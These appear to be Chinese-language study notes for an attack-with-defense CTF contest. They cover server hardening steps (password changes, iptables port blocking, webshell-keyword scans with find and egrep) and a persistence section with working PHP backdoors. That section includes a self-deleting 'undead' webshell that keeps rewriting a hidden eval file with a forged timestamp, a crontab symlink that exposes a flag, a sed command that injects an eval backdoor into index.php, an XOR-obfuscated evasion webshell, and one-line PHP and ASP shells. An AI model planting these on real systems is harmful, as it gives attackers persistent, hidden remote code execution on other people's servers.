php可以直接进行修改 不用重启服务

java需要重启 就是先将jar包下载下来 然后使用codeqlpy工具进行扫描 然后进行修改 然后编译后 将代码进行替换(就是有问题的class) 然后找到jar所在的进程(ps aux|grep JavaMaster.jar ) 找到之后 然后kill掉进程就行(kill 进程号) 然后在把修改好的上传上来 进行nohup java -jar JavaMaster.jar > log.txt & 使其在后台进行运行

image-20230825223910436

image-20230825223842646

image-20230825223922228

(上面的图片先留着 先不删 到时候主要用xftp)

查看端口被谁占用 lsof -i:8080

查找目标进程的pid ps -aux |grep xxx.jar

第一点就是就是开局前有45分钟加固时间

  • 必须先进行密码的修改

ssh mysql redis 网站后台

image-20230826221532629

启动mysql的方法 还有修改登录密码的方法

image-20230826221603006

这是开启的方法

接下来是redis的登录方法

image-20230826222126127

redis修改密码

image-20230826222152051

image-20230826222213876

image-20230826222229090

其实还有一个小问题,就是,通过命令行修改了密码之后,配置文件的requirepass字段后面的密码是不会随之修改的。

上面就是服务器的数据库登录和修改密码的方法

  • 关闭一些没必要的端口

netstat -anp 可以查看全部端口 和其对应的进程

lsof -i:xxx 查看端口对应的应用程序

1
2
3
4
5
6
7
【iptable】

sudo iptables -A INPUT -p tcp --dport $PORT -j DROP"
sudo iptables -A OUTPUT -p tcp --dport $PORT -j DROP"
【kill】
kill -9 PID" (PID:进程号)
//一般来说的话直接kill就行了

image-20230826225239474

这是其对应数字对应的含义

  • 权限维持

不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = '<?php if(md5($_GET["pass"])=="605154ef77257bdfd9f0fa07f994e897"){
eval($_POST[1]);
};';

while(1)
{
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
usleep(5000);
}
?>
1
2
find  *.php -mmin -10
//这个命令可以查找十分钟内被修改的代码
1
2
3
4
5
6
7
find xxx -type f -mtime 10 -ls

//查找xx目录下10天内修改的文件

find xxx -type d -mmin -30 -ls

//查找xx目录下30分钟内修改过的目录
1
2
3
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

//查找xxx目录下存在这x

查杀这个不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = 'hi springbird !';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
// usleep(5000);
usleep(1000);
}
?>

这个代码是来进行查杀的

还有一种是使用软连接

1
2
ln -s /flag /var/www/html/flag
//这种的话 ls -al就会把flag给带出到/var/www/html目录下了
1
2
3
(echo "*/2 * * * * /bin/ln -s /flag /var/www/html/flag" )| crontab

//这种的话就不会 因为就是这个是个定时文件 删了话还是会继续将flag给带出来的

下面这种就是通过写入一句话木马到指定文件中

1
sed -i '1 i <?php <span class="label label-primary">@eval($REQUEST[888]);?</span>>' /var/www/html/index.php

image-20230828165323599

但是上面的容易被发现

1
2
3
免杀马
<?php ${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))]); ?>

这是多几个木马

1
2
3
php:<?php <span class="label label-primary">@eval($_POST['pass']);?</span>>      <?php eval($_GET['pass']); 
asp:<%eval request ("pass")%>
aspx:

CODEqlpy的用法

image-20230830154032568

image-20230830154046986

image-20230830154056650

执行完上面的步骤之后 静静的等待结果就好了